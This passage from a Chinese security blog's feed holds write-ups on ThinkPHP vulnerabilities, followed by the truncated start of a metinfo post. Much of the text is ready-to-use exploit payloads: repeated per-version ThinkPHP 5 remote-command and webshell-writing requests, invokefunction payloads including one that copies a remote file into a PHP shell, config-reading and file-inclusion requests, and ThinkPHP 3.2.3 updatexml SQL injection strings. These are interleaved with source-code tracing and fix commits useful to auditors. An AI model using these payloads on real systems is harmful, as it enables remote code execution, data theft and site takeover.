s=whoami&amp;_method=__construct&amp;method=POST&amp;filter[]=system
aaaa=whoami&amp;_method=__construct&amp;method=GET&amp;filter[]=system
_method=__construct&amp;method=GET&amp;filter[]=system&amp;get[]=whoami
c=system&amp;f=calc&amp;_method=filter
</code></pre>
<p>写shell</p>
<pre><code class="">POST
s=file_put_contents('Y4er.php','&lt;?php phpinfo();')&amp;_method=__construct&amp;method=POST&amp;filter[]=assert
</code></pre>
<p>有captcha路由时无需debug=true</p>
<pre><code class="">POST ?s=captcha/calc
_method=__construct&amp;filter[]=system&amp;method=GET
</code></pre>
<h2>5.0.18</h2>
<p>默认debug=false，需要开启debug<br />
命令执行</p>
<pre><code class="">POST ?s=index/index
s=whoami&amp;_method=__construct&amp;method=POST&amp;filter[]=system
aaaa=whoami&amp;_method=__construct&amp;method=GET&amp;filter[]=system
_method=__construct&amp;method=GET&amp;filter[]=system&amp;get[]=whoami
c=system&amp;f=calc&amp;_method=filter
</code></pre>
<p>写shell</p>
<pre><code class="">POST
s=file_put_contents('Y4er.php','&lt;?php phpinfo();')&amp;_method=__construct&amp;method=POST&amp;filter[]=assert
</code></pre>
<p>有captcha路由时无需debug=true</p>
<pre><code class="">POST ?s=captcha/calc
_method=__construct&amp;filter[]=system&amp;method=GET
</code></pre>
<h2>5.0.19</h2>
<p>默认debug=false，需要开启debug<br />
命令执行</p>
<pre><code class="">POST ?s=index/index
s=whoami&amp;_method=__construct&amp;method=POST&amp;filter[]=system
aaaa=whoami&amp;_method=__construct&amp;method=GET&amp;filter[]=system
_method=__construct&amp;method=GET&amp;filter[]=system&amp;get[]=whoami
c=system&amp;f=calc&amp;_method=filter
</code></pre>
<p>写shell</p>
<pre><code class="">POST
s=file_put_contents('Y4er.php','&lt;?php phpinfo();')&amp;_method=__construct&amp;method=POST&amp;filter[]=assert
</code></pre>
<p>有captcha路由时无需debug=true</p>
<pre><code class="">POST ?s=captcha/calc
_method=__construct&amp;filter[]=system&amp;method=GET
</code></pre>
<h2>5.0.20</h2>
<p>默认debug=false，需要开启debug<br />
命令执行</p>
<pre><code class="">POST ?s=index/index
s=whoami&amp;_method=__construct&amp;method=POST&amp;filter[]=system
aaaa=whoami&amp;_method=__construct&amp;method=GET&amp;filter[]=system
_method=__construct&amp;method=GET&amp;filter[]=system&amp;get[]=whoami
c=system&amp;f=calc&amp;_method=filter
</code></pre>
<p>写shell</p>
<pre><code class="">POST
s=file_put_contents('Y4er.php','&lt;?php phpinfo();')&amp;_method=__construct&amp;method=POST&amp;filter[]=assert
</code></pre>
<p>有captcha路由时无需debug=true</p>
<pre><code class="">POST ?s=captcha/calc
_method=__construct&amp;filter[]=system&amp;method=GET
</code></pre>
<h2>5.0.21</h2>
<p>默认debug=false，需要开启debug<br />
命令执行</p>
<pre><code class="">POST ?s=index/index
_method=__construct&amp;filter[]=system&amp;server[REQUEST_METHOD]=calc
</code></pre>
<p>写shell</p>
<pre><code class="">POST
_method=__construct&amp;filter[]=assert&amp;server[REQUEST_METHOD]=file_put_contents('Y4er.php','&lt;?php phpinfo();')
</code></pre>
<p>有captcha路由时无需debug=true</p>
<pre><code class="">POST ?s=captcha/calc
_method=__construct&amp;filter[]=system&amp;method=GET
POST ?s=captcha
_method=__construct&amp;filter[]=system&amp;server[REQUEST_METHOD]=calc&amp;method=get
</code></pre>
<h2>5.0.22</h2>
<p>默认debug=false，需要开启debug<br />
命令执行</p>
<pre><code class="">POST ?s=index/index
_method=__construct&amp;filter[]=system&amp;server[REQUEST_METHOD]=calc
</code></pre>
<p>写shell</p>
<pre><code class="">POST
_method=__construct&amp;filter[]=assert&amp;server[REQUEST_METHOD]=file_put_contents('Y4er.php','&lt;?php phpinfo();')
</code></pre>
<p>有captcha路由时无需debug=true</p>
<pre><code class="">POST ?s=captcha/calc
_method=__construct&amp;filter[]=system&amp;method=GET
POST ?s=captcha
_method=__construct&amp;filter[]=system&amp;server[REQUEST_METHOD]=calc&amp;method=get
</code></pre>
<h2>5.0.23</h2>
<p>默认debug=false，需要开启debug<br />
命令执行</p>
<pre><code class="">POST ?s=index/index
_method=__construct&amp;filter[]=system&amp;server[REQUEST_METHOD]=calc
</code></pre>
<p>写shell</p>
<pre><code class="">POST
_method=__construct&amp;filter[]=assert&amp;server[REQUEST_METHOD]=file_put_contents('Y4er.php','&lt;?php phpinfo();')
</code></pre>
<p>有captcha路由时无需debug=true</p>
<pre><code class="">POST ?s=captcha/calc
_method=__construct&amp;filter[]=system&amp;method=GET
POST ?s=captcha
_method=__construct&amp;filter[]=system&amp;server[REQUEST_METHOD]=calc&amp;method=get
</code></pre>
<h2>5.0.24</h2>
<p>作为5.0.x的最后一个版本，rce被修复</p>
<h2>5.1.0</h2>
<p>默认debug为true<br />
命令执行</p>
<pre><code class="">POST ?s=index/index
_method=__construct&amp;filter[]=system&amp;method=GET&amp;s=calc
</code></pre>
<p>写shell</p>
<pre><code class="">POST
s=file_put_contents('Y4er.php','&lt;?php phpinfo();')&amp;_method=__construct&amp;method=POST&amp;filter[]=assert
</code></pre>
<p>有captcha路由时无需debug=true<br />
<code>"topthink/think-captcha": "2.*"</code></p>
<pre><code class="">POST ?s=captcha/calc
_method=__construct&amp;filter[]=system&amp;method=GET
POST ?s=captcha
_method=__construct&amp;filter[]=system&amp;s=calc&amp;method=get
</code></pre>
<h2>5.1.1</h2>
<p>命令执行</p>
<pre><code class="">POST ?s=index/index
_method=__construct&amp;filter[]=system&amp;method=GET&amp;s=calc
</code></pre>
<p>写shell</p>
<pre><code class="">POST
s=file_put_contents('Y4er.php','&lt;?php phpinfo();')&amp;_method=__construct&amp;method=POST&amp;filter[]=assert
</code></pre>
<p>有captcha路由时无需debug=true</p>
<pre><code class="">POST ?s=captcha/calc
_method=__construct&amp;filter[]=system&amp;method=GET
POST ?s=captcha
_method=__construct&amp;filter[]=system&amp;s=calc&amp;method=get
</code></pre>
<p><strong>至此，不再一个一个版本测了，费时费力。</strong><br />
基于<code>__construct</code>的payload大部分出现在5.0.x及低版本的5.1.x中。下文分析另一种rce。</p>
<h1>未开启强制路由导致rce</h1>
<p>这种rce的payload多形如</p>
<pre><code class="">?s=index/thinkRequest/input&amp;filter[]=system&amp;data=pwd
?s=index/thinkviewdriverPhp/display&amp;content=&lt;?php phpinfo();?&gt;
?s=index/thinktemplatedriverfile/write&amp;cacheFile=shell.php&amp;content=&lt;?php phpinfo();?&gt;
?s=index/thinkContainer/invokefunction&amp;function=call_user_func_array&amp;vars[0]=system&amp;vars[1][]=id
?s=index/thinkapp/invokefunction&amp;function=call_user_func_array&amp;vars[0]=system&amp;vars[1][]=id
</code></pre>
<h2>环境</h2>
<pre><code class="language-json ">"require": {
    "php": "&gt;=5.6.0",
    "topthink/framework": "5.1.29",
    "topthink/think-captcha": "2.*"
},
</code></pre>
<h2>分析</h2>
<p><img src="/wp-content/uploads/2019/11/20191127229702.jpg" alt="image" /><br />
thinkphp默认没有开启强制路由，而且默认开启路由兼容模式。那么我们可以用兼容模式来调用控制器，当没有对控制器过滤时，我们可以调用任意的方法来执行。上文提到所有用户参数都会经过 <code>Request</code> 类的 <code>input</code> 方法处理，该方法会调用 <code>filterValue</code> 方法，而 <code>filterValue</code> 方法中使用了 <code>call_user_func</code> ，那么我们就来尝试利用这个方法。访问</p>
<pre><code class="">http://php.local/thinkphp5.1.30/public/?s=index/thinkRequest/input&amp;filter[]=system&amp;data=whoami
</code></pre>
<p>打断点跟进到<code>thinkphp/library/think/App.php:402</code></p>
<p><img src="/wp-content/uploads/2019/11/20191127223178.jpg" alt="image" /></p>
<p><code>routeCheck()</code>返回<code>$dispatch</code>是将 <code>/</code> 用 <code>|</code> 替换</p>
<p><img src="/wp-content/uploads/2019/11/20191127225278.jpg" alt="image" /></p>
<p>然后进入<code>init()</code></p>
<pre><code class="language-php ">public function init()
    {
        // 解析默认的URL规则
        $result = $this-&gt;parseUrl($this-&gt;dispatch);

        return (new Module($this-&gt;request, $this-&gt;rule, $result))-&gt;init();
    }
</code></pre>
<p>进入<code>parseUrl()</code></p>
<p><img src="/wp-content/uploads/2019/11/20191127223006.jpg" alt="image" /></p>
<p>进入<code>parseUrlPath()</code></p>
<p><img src="/wp-content/uploads/2019/11/20191127227841.jpg" alt="image" /></p>
<p>在此处从url中获取<code>[模块/控制器/操作]</code>，导致parseUrl()返回的route为<br />
<img src="/wp-content/uploads/2019/11/20191127228865.jpg" alt="image" /></p>
<p>导致<code>thinkphp/library/think/App.php:406</code>的<code>$dispatch</code>为</p>
<p><img src="/wp-content/uploads/2019/11/20191127221878.jpg" alt="image" /></p>
<p>直接调用了<code>input()</code>函数，然后会执行到 <code>App</code> 类的 <code>run</code> 方法，进而调用 <code>Dispatch</code> 类的 <code>run</code> 方法，该方法会调用关键函数 <code>exec</code> <code>thinkphp/library/think/route/dispatch/Module.php:84</code>，进而调用反射类<br />
<img src="/wp-content/uploads/2019/11/20191127221279.jpg" alt="image" /></p>
<p>此时反射类的参数均可控，调用<code>input()</code></p>
<p><img src="/wp-content/uploads/2019/11/20191127223123.jpg" alt="image" /></p>
<p>在进入<code>input()</code>之后继续进入<code>$this-&gt;filterValue()</code></p>
<p><img src="/wp-content/uploads/2019/11/20191127226668.jpg" alt="image" /></p>
<p>跟进后执行<code>call_user_func()</code>，实现rce</p>
<p><img src="/wp-content/uploads/2019/11/20191127221161.jpg" alt="image" /><br />
整个流程中没有对控制器进行合法校验，导致可以调用任意控制器，实现rce。</p>
<h2>修复</h2>
<pre><code class="">// 获取控制器名
$controller = strip_tags($result[1] ?: $config['default_controller']);

if (!preg_match('/^[A-Za-z](w|.)*$/', $controller)) {
    throw new HttpException(404, 'controller not exists:' . $controller);
}
</code></pre>
<p>大于5.0.23、大于5.1.30获取时使用正则匹配校验</p>
<h2>payload</h2>
<p>命令执行</p>
<pre><code class="">5.0.x
?s=index/thinkapp/invokefunction&amp;function=call_user_func_array&amp;vars[0]=system&amp;vars[1][]=id
5.1.x
?s=index/thinkRequest/input&amp;filter[]=system&amp;data=pwd
?s=index/thinkContainer/invokefunction&amp;function=call_user_func_array&amp;vars[0]=system&amp;vars[1][]=id
?s=index/thinkapp/invokefunction&amp;function=call_user_func_array&amp;vars[0]=system&amp;vars[1][]=id
</code></pre>
<p>写shell</p>
<pre><code class="">5.0.x
?s=/index/thinkapp/invokefunction&amp;function=call_user_func_array&amp;vars[0]=assert&amp;vars[1][]=copy(%27远程地址%27,%27333.php%27)
5.1.x
?s=index/thinktemplatedriverfile/write&amp;cacheFile=shell.php&amp;content=&lt;?php phpinfo();?&gt;
?s=index/thinkviewdriverThink/display&amp;template=&lt;?php phpinfo();?&gt;             //shell生成在runtime/temp/md5(template).php
?s=/index/thinkapp/invokefunction&amp;function=call_user_func_array&amp;vars[0]=assert&amp;vars[1][]=copy(%27远程地址%27,%27333.php%27)
</code></pre>
<p>其他</p>
<pre><code class="">5.0.x
?s=index/thinkconfig/get&amp;name=database.username # 获取配置信息
?s=index/thinkLang/load&amp;file=../../test.jpg    # 包含任意文件
?s=index/thinkConfig/load&amp;file=../../t.php     # 包含任意.php文件
</code></pre>
<p>如果你碰到了控制器不存在的情况，是因为在tp获取控制器时，<code>thinkphp/library/think/App.php:561</code>会把url转为小写，导致控制器加载失败。<br />
<img src="/wp-content/uploads/2019/11/20191127221875.jpg" alt="image" /></p>
<h2>总结</h2>
<p>其实thinkphp的rce差不多都被拦截了，我们其实更需要将rce转化为其他姿势，比如文件包含去包含日志，或者转向反序列化。姿势太多，总结不过来，这篇文章就到这里把。</p>
<h1>参考</h1>
<ul>
<li>https://xz.aliyun.com/t/6106</li>
<li>https://www.cnblogs.com/iamstudy/articles/thinkphp_5_x_rce_1.html</li>
<li>https://github.com/Mochazz/ThinkPHP-Vuln</li>
<li>https://xz.aliyun.com/search?keyword=thinkphp</li>
<li>https://github.com/Lucifer1993/TPscan</li>
<li>https://www.kancloud.cn/manual/thinkphp5_1/353946</li>
<li>https://www.kancloud.cn/manual/thinkphp5</li>
<li>https://github.com/top-think/thinkphp</li>
</ul>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Thinkphp3 漏洞总结</title>
		<link>/audit/1062.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Wed, 27 Nov 2019 15:24:44 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[thinkphp]]></category>
		<category><![CDATA[注入]]></category>
		<guid isPermaLink="false">/?p=1062</guid>

					<description><![CDATA[先总结thinkphp3的漏洞 写在前文 Thinkphp3 开发手册 Thinkphp3.2.3 安全开发须知 ThinkPHP中的常用方法汇总总结:M方法，D方法，U方法，I方...]]></description>
										<content:encoded><![CDATA[<p>先总结<span class="wpcom_tag_link"><a href="/tags/thinkphp" title="thinkphp" target="_blank">thinkphp</a></span>3的漏洞</p>
<h1>写在前文</h1>
<ul>
<li><a href="https://www.kancloud.cn/manual/thinkphp/1678">Thinkphp3 开发手册</a></li>
<li><a href="https://xz.aliyun.com/t/2630">Thinkphp3.2.3 安全开发须知</a></li>
<li><a href="https://www.cnblogs.com/kenshinobiy/p/9165662.html">ThinkPHP中的常用方法汇总总结:M方法，D方法，U方法，I方法</a></li>
</ul>
<h1>thinkphp3.2.3 where<span class="wpcom_tag_link"><a href="/tags/%e6%b3%a8%e5%85%a5" title="注入" target="_blank">注入</a></span></h1>
<h2>基础</h2>
<p>thinkphp3版本路由格式</p>
<pre><code class="">http://php.local/thinkphp3.2.3/index.php/Home/Index/index/id/1
                                模块/控制器/方法/参数
</code></pre>
<p>还可以用</p>
<pre><code class="">http://php.local/thinkphp3.2.3/index.php?s=Home/Index/index/id/1
</code></pre>
<p>具体移步 https://www.kancloud.cn/manual/thinkphp/1711</p>
<p>thinkphp内置了几种方法，比如I()，M()等等</p>
<pre><code class="">A 快速实例化Action类库
B 执行行为类
C 配置参数存取方法
D 快速实例化Model类库
F 快速简单文本数据存取方法
L 语言参数存取方法
M 快速高性能实例化模型
R 快速远程调用Action类方法
S 快速缓存存取方法
U URL动态生成和重定向方法
W 快速Widget输出方法
</code></pre>
<p>具体看 <code>ThinkPHP/Common/functions.php</code></p>
<h2>配置环境</h2>
<p>首先配置好数据库<br />
ThinkPHP/Conf/convention.php</p>
<pre><code class="language-php ">/* 数据库设置 */
'DB_TYPE'                =&gt; 'mysql', // 数据库类型
'DB_HOST'                =&gt; 'localhost', // 服务器地址
'DB_NAME'                =&gt; 'thinkphp', // 数据库名
'DB_USER'                =&gt; 'root', // 用户名
'DB_PWD'                 =&gt; 'root', // 密码
'DB_PORT'                =&gt; '3306', // 端口
</code></pre>
<p><img src="https://y4er.com/img/uploads/20191127223938.jpg" alt="image" /><br />
然后访问 http://php.local/thinkphp3.2.3/ 会自动生成模块，当前目录结构</p>
<details>
<summary>太多了，展开查看</summary>
<pre><code class="">PS E:codephpthinkphpthinkphp3.2.3&gt; tree
卷 文档 的文件夹 PATH 列表
卷序列号为 DA18-EBFA
E:.
├─.idea
├─Application            应用目录
│  ├─Common           公共模块
│  │  ├─Common
│  │  └─Conf
│  ├─Home                首页模块
│  │  ├─Common
│  │  ├─Conf
│  │  ├─Controller
│  │  ├─Model
│  │  └─View
│  └─Runtime             运行时
│      ├─Cache
│      │  └─Home
│      ├─Data
│      ├─Logs
│      │  └─Home
│      └─Temp
├─Public
└─ThinkPHP             核心
    ├─Common
    ├─Conf
    ├─Lang
    ├─Library
    │  ├─Behavior
    │  ├─Org
    │  │  ├─Net
    │  │  └─Util
    │  ├─Think
    │  │  ├─Cache
    │  │  │  └─Driver
    │  │  ├─Controller
    │  │  ├─Crypt
    │  │  │  └─Driver
    │  │  ├─Db
    │  │  │  └─Driver
    │  │  ├─Image
    │  │  │  └─Driver
    │  │  ├─Log
    │  │  │  └─Driver
    │  │  ├─Model
    │  │  ├─Session
    │  │  │  └─Driver
    │  │  ├─Storage
    │  │  │  └─Driver
    │  │  ├─Template
    │  │  │  ├─Driver
    │  │  │  └─TagLib
    │  │  ├─Upload
    │  │  │  └─Driver
    │  │  │      ├─Bcs
    │  │  │      └─Qiniu
    │  │  └─Verify
    │  │      ├─bgs
    │  │      └─zhttfs
    │  └─Vendor
    │      ├─Boris
    │      ├─EaseTemplate
    │      ├─Hprose
    │      ├─jsonRPC
    │      ├─phpRPC
    │      │  ├─dhparams
    │      │  └─pecl
    │      │      └─xxtea
    │      │          └─test
    │      ├─SmartTemplate
    │      ├─Smarty
    │      │  ├─plugins
    │      │  └─sysplugins
    │      ├─spyc
    │      │  ├─examples
    │      │  ├─php4
    │      │  └─tests
    │      └─TemplateLite
    │          └─internal
    ├─Mode                  模型
    │  ├─Api
    │  ├─Lite
    │  └─Sae
    └─Tpl
</code></pre>
</details>
<h2>配置控制器</h2>
<p>Application/Home/Controller/IndexController.class.php</p>
<pre><code class="language-php ">public function index()
{
$data = M('users')-&gt;find(I('GET.id'));
var_dump($data);
}
</code></pre>
<p><img src="/wp-content/uploads/2019/11/20191127224711.jpg" alt="image" /></p>
<h2>payload</h2>
<pre><code class="">http://php.local/thinkphp3.2.3/?id[where]=1 and 1=updatexml(1,concat(0x7e,(select password from users limit 1),0x7e),1)#
</code></pre>
<h2>分析</h2>
<p>当我们简单传入<code>id=1'</code>时，跟着走一遍</p>
<p><code>I()</code>函数中获取参数，会经过<code>ThinkPHP/Common/functions.php:391</code> <code>htmlspecialchars()</code>进行处理，最后在<code>ThinkPHP/Common/functions.php:442</code>回调<code>think_filter</code>函数进行过滤</p>
<pre><code class="language-php ">function think_filter(&amp;$value)
{
    // TODO 其他安全过滤

    // 过滤查询特殊字符
    if (preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {
        $value .= ' ';
    }
}
</code></pre>
<p>然后进入<code>ThinkPHP/Library/Think/Model.class.php:779</code>的<code>find()</code>方法，又会经过<code>ThinkPHP/Library/Think/Model.class.php:811</code> <code>_parseOptions()</code>方法<br />
<img src="/wp-content/uploads/2019/11/20191127220223.jpg" alt="image" /><br />
到这我们的id还是为<code>1'</code>的<br />
<img src="/wp-content/uploads/2019/11/20191127226415.jpg" alt="image" /><br />
跟进<code>_parseOptions()</code> <code>ThinkPHP/Library/Think/Model.class.php:681</code><br />
其中有类型验证<code>_parseType()</code>函数</p>
<pre><code class="language-php ">// 字段类型验证
if (isset($options['where']) &amp;&amp; is_array($options['where']) &amp;&amp; !empty($fields) &amp;&amp; !isset($options['join'])) {
    // 对数组查询条件进行字段类型检查
    foreach ($options['where'] as $key =&gt; $val) {
        $key = trim($key);
        if (in_array($key, $fields, true)) {
            if (is_scalar($val)) {
                $this-&gt;_parseType($options['where'], $key);
            }
        } elseif (!is_numeric($key) &amp;&amp; '_' != substr($key, 0, 1) &amp;&amp; false === strpos($key, '.') &amp;&amp; false === strpos($key, '(') &amp;&amp; false === strpos($key, '|') &amp;&amp; false === strpos($key, '&amp;')) {
            if (!empty($this-&gt;options['strict'])) {
                E(L('_ERROR_QUERY_EXPRESS_') . ':[' . $key . '=&gt;' . $val . ']');
            }
            unset($options['where'][$key]);
        }
    }
}
</code></pre>
<p><strong>如果满足if条件则进入</strong> <code>ThinkPHP/Library/Think/Model.class.php:737</code></p>
<pre><code class="language-php ">protected function _parseType(&amp;$data, $key)
{
    if (!isset($this-&gt;options['bind'][':' . $key]) &amp;&amp; isset($this-&gt;fields['_type'][$key])) {
        $fieldType = strtolower($this-&gt;fields['_type'][$key]);
        if (false !== strpos($fieldType, 'enum')) {
            // 支持ENUM类型优先检测
        } elseif (false === strpos($fieldType, 'bigint') &amp;&amp; false !== strpos($fieldType, 'int')) {
            $data[$key] = intval($data[$key]);
        } elseif (false !== strpos($fieldType, 'float') || false !== strpos($fieldType, 'double')) {
            $data[$key] = floatval($data[$key]);
        } elseif (false !== strpos($fieldType, 'bool')) {
            $data[$key] = (bool) $data[$key];
        }
    }
}
</code></pre>
<p>在这他把id进行了强制类型转换，然后返回给<code>_parseOptions()</code>，最终带入<code>$this-&gt;db-&gt;select($options)</code>进行查询避免了注入问题。</p>
<p>理一下 传入<code>id=1'</code> -> <code>I()</code> -> <code>find()</code> -> <code>_parseOptions()</code> -> <code>_parseType()</code> 然后将我们的字符串清理了。<br />
要知道id参数被改变的时间点在<code>_parseType()</code>中，那进入这个方法要满足</p>
<pre><code class="language-php ">if (isset($options['where']) &amp;&amp; is_array($options['where']) &amp;&amp; !empty($fields) &amp;&amp; !isset($options['join']))
</code></pre>
<p>所以传入<code>index.php?id[where]=3 and 1=1</code>就可以注入了</p>
<h2>修复</h2>
<p>https://github.com/top-think/thinkphp/commit/9e1db19c1e455450cfebb8b573bb51ab7a1cef04<br />
<img src="/wp-content/uploads/2019/11/20191127224820.jpg" alt="image" /></p>
<p><code>v3.2.4</code>将<code>$options</code>和<code>$this-&gt;options</code>进行了区分，从而传入的参数无法污染到<code>$this-&gt;options</code>，也就无法控制sql语句了。</p>
<h1>thinkphp 3.2.3 exp注入</h1>
<h2>payload</h2>
<p><img src="/wp-content/uploads/2019/11/20191127227978.jpg" alt="image" /></p>
<pre><code class="">http://php.local/thinkphp3.2.3/index.php?username[0]=exp&amp;username[1]==1 and updatexml(1,concat(0x7e,user(),0x7e),1)
</code></pre>
<h2>环境</h2>
<pre><code class="language-php ">public function index()
{
    $User = D('Users');
    $map = array('username' =&gt; $_GET['username']);
    // $map = array('username' =&gt; I('username'));
    $user = $User-&gt;where($map)-&gt;find();
    var_dump($user);
}
</code></pre>
<p>我们使用全局数组传参，而不是<code>I()</code>函数。下文会解释</p>
<h2>分析</h2>
<p>打断点分析，<code>find()</code>函数会执行到<code>ThinkPHP/Library/Think/Model.class.php:822</code>的<code>$this-&gt;db-&gt;select($options)</code></p>
<pre><code class="language-php ">public function select($options = array())
{
    $this-&gt;model = $options['model'];
    $this-&gt;parseBind(!empty($options['bind']) ? $options['bind'] : array());
    $sql    = $this-&gt;buildSelectSql($options);
    $result = $this-&gt;query($sql, !empty($options['fetch_sql']) ? true : false);
    return $result;
}
</code></pre>
<p>然后跟进<code>buildSelectSql()</code></p>
<pre><code class="language-php ">public function buildSelectSql($options = array())
{
    if (isset($options['page'])) {
        // 根据页数计算limit
        list($page, $listRows) = $options['page'];
        $page                  = $page &gt; 0 ? $page : 1;
        $listRows              = $listRows &gt; 0 ? $listRows : (is_numeric($options['limit']) ? $options['limit'] : 20);
        $offset                = $listRows * ($page - 1);
        $options['limit']      = $offset . ',' . $listRows;
    }
    $sql = $this-&gt;parseSql($this-&gt;selectSql, $options);
    return $sql;
}
</code></pre>
<p>跟进<code>$this-&gt;parseSql()</code>到</p>
<pre><code class="language-php ">public function parseSql($sql, $options = array())
{
    $sql = str_replace(
        array('%TABLE%', '%DISTINCT%', '%FIELD%', '%JOIN%', '%WHERE%', '%GROUP%', '%HAVING%', '%ORDER%', '%LIMIT%', '%UNION%', '%LOCK%', '%COMMENT%', '%FORCE%'),
        array(
            $this-&gt;parseTable($options['table']),
            $this-&gt;parseDistinct(isset($options['distinct']) ? $options['distinct'] : false),
            $this-&gt;parseField(!empty($options['field']) ? $options['field'] : '*'),
            $this-&gt;parseJoin(!empty($options['join']) ? $options['join'] : ''),
            $this-&gt;parseWhere(!empty($options['where']) ? $options['where'] : ''),
            $this-&gt;parseGroup(!empty($options['group']) ? $options['group'] : ''),
            $this-&gt;parseHaving(!empty($options['having']) ? $options['having'] : ''),
            $this-&gt;parseOrder(!empty($options['order']) ? $options['order'] : ''),
            $this-&gt;parseLimit(!empty($options['limit']) ? $options['limit'] : ''),
            $this-&gt;parseUnion(!empty($options['union']) ? $options['union'] : ''),
            $this-&gt;parseLock(isset($options['lock']) ? $options['lock'] : false),
            $this-&gt;parseComment(!empty($options['comment']) ? $options['comment'] : ''),
            $this-&gt;parseForce(!empty($options['force']) ? $options['force'] : ''),
        ), $sql);
    return $sql;
}
</code></pre>
<p>这部分是通过<code>parse</code>系列函数来构建SQL语句，我们的关注点在<code>parseWhere()</code>函数，跟进到<br />
<code>ThinkPHP/Library/Think/Db/Driver.class.php:586</code>的 <code>parseWhereItem()</code><br />
<img src="/wp-content/uploads/2019/11/20191127224206.jpg" alt="image" /><br />
关键点就在于</p>
<pre><code class="language-php ">elseif ('bind' == $exp) {
    // 使用表达式
    $whereStr .= $key . ' = :' . $val[1];
} elseif ('exp' == $exp) {
    // 使用表达式
    $whereStr .= $key . ' ' . $val[1];
}
</code></pre>
<p>在exp的那个elseif语句中把<code>where</code>条件直接用点拼接，造成SQL注入。让我们来分析下怎么进入到这个语句块，首先在<code>parseWhere()</code>中是肯定会进入<code>parseWhereItem()</code>方法中，这是无可厚非的。再来看<br />
<img src="/wp-content/uploads/2019/11/20191127220531.jpg" alt="image" /><br />
要满足$val是数组，并且索引为0的值为字符串&#8217;exp&#8217;，那么就可以拼接sql语句了。所以我们传入<code>username[0]=exp&amp;username[1]==1 and aaa</code><br />
细心的同学会发现bind也是拼接的，下文分析。</p>
<p>然后我们来说下为什么<strong>不用</strong><code>I()</code>函数来获取参数，而使用原生超全局数组。在<code>I()</code>函数中，最后回调了一个<code>think_filter()</code>函数</p>
<pre><code class="language-php ">is_array($data) &amp;&amp; array_walk_recursive($data, 'think_filter');
</code></pre>
<pre><code class="language-php ">function think_filter(&amp;$value)
{
    // TODO 其他安全过滤

    // 过滤查询特殊字符
    if (preg_match('/^(NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {
        $value .= ' ';
    }
}
</code></pre>
<p>可以看到过滤了EXP字符串，会在后面拼接上一个空格，那这样后面<code>parseWhereItem()</code>中就不满足条件抛出异常导致无法注入。</p>
<h2>修复</h2>
<p>使用<code>I()</code>函数代替超全局数组获取变量</p>
<h1>thinkphp 3.2.3 bind注入</h1>
<p>上文中写到了exp注入，这篇讲bind注入</p>
<h2>payload</h2>
<pre><code class="">http://php.local/thinkphp3.2.3/index.php?id[0]=bind&amp;id[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)&amp;password=1
</code></pre>
<p>这里需要注意<code>id[1]=0</code>原理在下面说</p>
<h2>搭建环境</h2>
<pre><code class="language-php ">public function index()
{
    $User = M("Users");
    $user['id'] = I('id');
    $data['password'] = I('password');
    $valu = $User-&gt;where($user)-&gt;save($data);
    var_dump($valu);
}
</code></pre>
<p>输入payload，为了讲解上文中<code>id[1]=0</code>的原理，我们输入payload</p>
<pre><code class="">http://php.local/thinkphp3.2.3/index.php?id[0]=bind&amp;id[1]=aa&amp;password=1
</code></pre>
<p>报错<br />
<img src="/wp-content/uploads/2019/11/20191127226427.jpg" alt="image" /></p>
<p>打断点在save()函数<br />
<img src="/wp-content/uploads/2019/11/20191127229947.jpg" alt="image" /></p>
<p>跟进后进入update()函数<code>ThinkPHP/Library/Think/Db/Driver.class.php:983</code><br />
<img src="/wp-content/uploads/2019/11/20191127222851.jpg" alt="image" /></p>
<p>可以看到经过了<code>parseWhere()</code>，那么根据上文我们分析过的exp注入，知道还有一个<code>bind</code>注入，所以传入<code>id[0]=bind&amp;id[1]=aa</code>然后我们的sql语句就变为</p>
<p><img src="/wp-content/uploads/2019/11/20191127226085.jpg" alt="image" /></p>
<p>可以看到多了个冒号，在哪里替换了这个冒号？我们进入到<br />
<code>ThinkPHP/Library/Think/Db/Driver.class.php:207</code>的<code>execute()</code></p>
<pre><code class="language-php ">if (!empty($this-&gt;bind)) {
    $that           = $this;
    $this-&gt;queryStr = strtr($this-&gt;queryStr, array_map(function ($val) use ($that) { return ''' . $that-&gt;escapeString($val) . ''';}, $this-&gt;bind));
}
</code></pre>
<p>这几行就是替换操作，是将<code>:0</code>替换为外部传进来的字符串，所以我们让我们的参数也等于0，这样就拼接了一个<code>:0</code>，然后会通过<code>strtr()</code>被替换为1，这样sql语句就通顺了。</p>
<p><img src="/wp-content/uploads/2019/11/20191127227308.jpg" alt="image" /></p>
<h2>修复</h2>
<p>https://github.com/top-think/thinkphp/commit/7e47e34af72996497c90c20bcfa3b2e1cedd7fa4</p>
<p><img src="/wp-content/uploads/2019/11/20191127228454.jpg" alt="image" /></p>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>metinfo 6.2.0正则匹配不严谨导致注入+getshell组合拳</title>
		<link>/web/999.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Fri, 27 Sep 2019 16:23:47 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[getshell]]></category>
		<category><![CDATA[metinfo]]></category>
		<category><![CDATA[svn]]></category>
		<category><![CDATA[上传]]></category>
		<category><![CDATA[正则]]></category>
		<category><![CDATA[注入]]></category>
		<guid isPermaLink="false">/?p=999</guid>

					<description><![CDATA[今天公司做技术分享，分享了项目中的一个攻击metinfo的案例，很有意思的攻击链，记录下。 svn泄露 svn是一个开放源代码的版本控制系统，如果在网站中存在.svn目录，那么我们...]]></description>
										<content:encoded><![CDATA[<p>今天公司做技术分享，分享了项目中的一个攻击<span class="wpcom_tag_link"><a href="/tags/metinfo" title="metinfo" target="_blank">metinfo</a></span>的案例，很有意思的攻击链，记录下。</p>
<h1><span class="wpcom_tag_link"><a href="/tags/svn" title="svn" target="_blank">svn</a></span>泄露</h1>
